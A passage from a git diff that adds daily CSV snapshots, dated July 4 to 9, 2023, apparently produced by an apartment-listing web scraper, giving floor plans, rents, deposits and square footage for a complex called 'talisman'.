sq.ft.,None,N/A +20230704,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230704,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230704,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230704,talisman,B5 (1x1),1 Bed 1 Bath,"$2,661",$300,674 - 775 sq.ft.,None,N/A +20230704,talisman,B2 (1x1),1 Bed 1 Bath,"$2,651",$300,706 - 739 sq.ft.,None,N/A +20230704,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230704,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230704,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230704,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230704,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230704,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230704,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230704,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230704,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230704,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230704,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230704,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230704,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230704,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230704,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230704,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230704,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230704,talisman,C1 (2x2),2 Bed 2 Bath,"$3,775",$300,1029 - 1294 sq.ft.,None,N/A +20230704,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230704,talisman,C7 (2x2),2 Bed 2 Bath,"$3,490",$300,1074 - 1131 sq.ft.,None,N/A +20230704,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,816",$300,1140 - 1185 sq.ft.,None,N/A +20230704,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230704,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230704,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230704,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230704,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230704,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230704,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230704,talisman,D1 (3x2),3 Bed 2 Bath,"$3,910",$300,1241 - 1362 sq.ft.,None,N/A +20230704,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230704,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230704,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230705.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230705.csv new file mode 100644 index 00000000000..ae9df456143 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230705.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230705,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230705,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230705,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230705,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230705,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230705,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230705,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 sq.ft.,None,N/A +20230705,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230705,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230705,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230705,talisman,B5 (1x1),1 Bed 1 Bath,"$2,528",$300,674 - 775 sq.ft.,None,N/A +20230705,talisman,B2 (1x1),1 Bed 1 Bath,"$2,518",$300,706 - 739 sq.ft.,None,N/A +20230705,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230705,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230705,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230705,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230705,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230705,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230705,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230705,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230705,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230705,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230705,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230705,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230705,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230705,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230705,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230705,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230705,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230705,talisman,C1 (2x2),2 Bed 2 Bath,"$3,722",$300,1029 - 1294 sq.ft.,None,N/A +20230705,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230705,talisman,C7 (2x2),2 Bed 2 Bath,"$3,437",$300,1074 - 1131 sq.ft.,None,N/A +20230705,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,816",$300,1140 - 1185 sq.ft.,None,N/A +20230705,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230705,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230705,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230705,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230705,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230705,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230705,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230705,talisman,D1 (3x2),3 Bed 2 Bath,"$3,857",$300,1241 - 1362 sq.ft.,None,N/A +20230705,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230705,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230705,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230706.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230706.csv new file mode 100644 index 00000000000..e506d12d980 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230706.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230706,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230706,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230706,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230706,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230706,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230706,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230706,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 sq.ft.,None,N/A +20230706,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230706,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230706,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230706,talisman,B5 (1x1),1 Bed 1 Bath,"$2,402",$300,674 - 775 sq.ft.,None,N/A +20230706,talisman,B2 (1x1),1 Bed 1 Bath,"$2,392",$300,706 - 739 sq.ft.,None,N/A +20230706,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230706,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230706,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,254",$300,745 - 828 sq.ft.,None,N/A +20230706,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230706,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230706,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230706,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230706,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230706,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230706,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230706,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230706,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230706,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230706,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230706,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230706,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230706,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230706,talisman,C1 (2x2),2 Bed 2 Bath,"$3,658",$300,1029 - 1294 sq.ft.,None,N/A +20230706,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230706,talisman,C7 (2x2),2 Bed 2 Bath,"$3,373",$300,1074 - 1131 sq.ft.,None,N/A +20230706,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,848",$300,1140 - 1185 sq.ft.,None,N/A +20230706,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230706,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230706,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230706,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230706,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230706,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230706,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230706,talisman,D1 (3x2),3 Bed 2 Bath,"$3,793",$300,1241 - 1362 sq.ft.,None,N/A +20230706,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230706,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230706,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230707.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230707.csv new file mode 100644 index 00000000000..b7d9e3df57d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230707.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230707,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230707,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230707,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230707,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230707,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230707,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230707,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 sq.ft.,None,N/A +20230707,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230707,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230707,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230707,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230707,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230707,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230707,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230707,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,254",$300,745 - 828 sq.ft.,None,N/A +20230707,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230707,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230707,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230707,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230707,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230707,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230707,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230707,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230707,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230707,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230707,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230707,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230707,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230707,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230707,talisman,C1 (2x2),2 Bed 2 Bath,"$3,631",$300,1029 - 1294 sq.ft.,None,N/A +20230707,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230707,talisman,C7 (2x2),2 Bed 2 Bath,"$3,346",$300,1074 - 1131 sq.ft.,None,N/A +20230707,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,848",$300,1140 - 1185 sq.ft.,None,N/A +20230707,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230707,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230707,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230707,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230707,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230707,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230707,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230707,talisman,D1 (3x2),3 Bed 2 Bath,"$3,766",$300,1241 - 1362 sq.ft.,None,N/A +20230707,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230707,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230707,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230708.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230708.csv new file mode 100644 index 00000000000..9eabb99b088 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230708.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230708,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230708,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230708,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230708,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230708,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230708,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230708,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 sq.ft.,None,N/A +20230708,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230708,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230708,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230708,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230708,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230708,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230708,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230708,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,254",$300,745 - 828 sq.ft.,None,N/A +20230708,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230708,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230708,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230708,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230708,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230708,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230708,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230708,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230708,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230708,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230708,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230708,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230708,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230708,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230708,talisman,C1 (2x2),2 Bed 2 Bath,"$3,631",$300,1029 - 1294 sq.ft.,None,N/A +20230708,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230708,talisman,C7 (2x2),2 Bed 2 Bath,"$3,346",$300,1074 - 1131 sq.ft.,None,N/A +20230708,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,848",$300,1140 - 1185 sq.ft.,None,N/A +20230708,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230708,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230708,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230708,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230708,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230708,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230708,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230708,talisman,D1 (3x2),3 Bed 2 Bath,"$3,766",$300,1241 - 1362 sq.ft.,None,N/A +20230708,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230708,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230708,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230709.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230709.csv new file mode 100644 index 00000000000..303a8bc49ed --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230709.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230709,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230709,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230709,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230709,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230709,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230709,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230709,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 sq.ft.,None,N/A +20230709,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230709,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230709,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230709,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230709,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230709,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230709,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230709,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,254",$300,745 - 828 sq.ft.,None,N/A +20230709,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230709,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230709,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230709,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230709,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230709,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230709,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230709,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230709,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230709,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230709,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230709,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230709,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230709,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230709,talisman,C1 (2x2),2 Bed 2 Bath,"$3,631",$300,1029 - 1294 sq.ft.,None,N/A +20230709,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230709,talisman,C7 (2x2),2 Bed 2 Bath,"$3,346",$300,1074 - 1131 sq.ft.,None,N/A +20230709,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,848",$300,1140 - 1185 sq.ft.,None,N/A +20230709,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230709,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230709,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230709,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230709,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 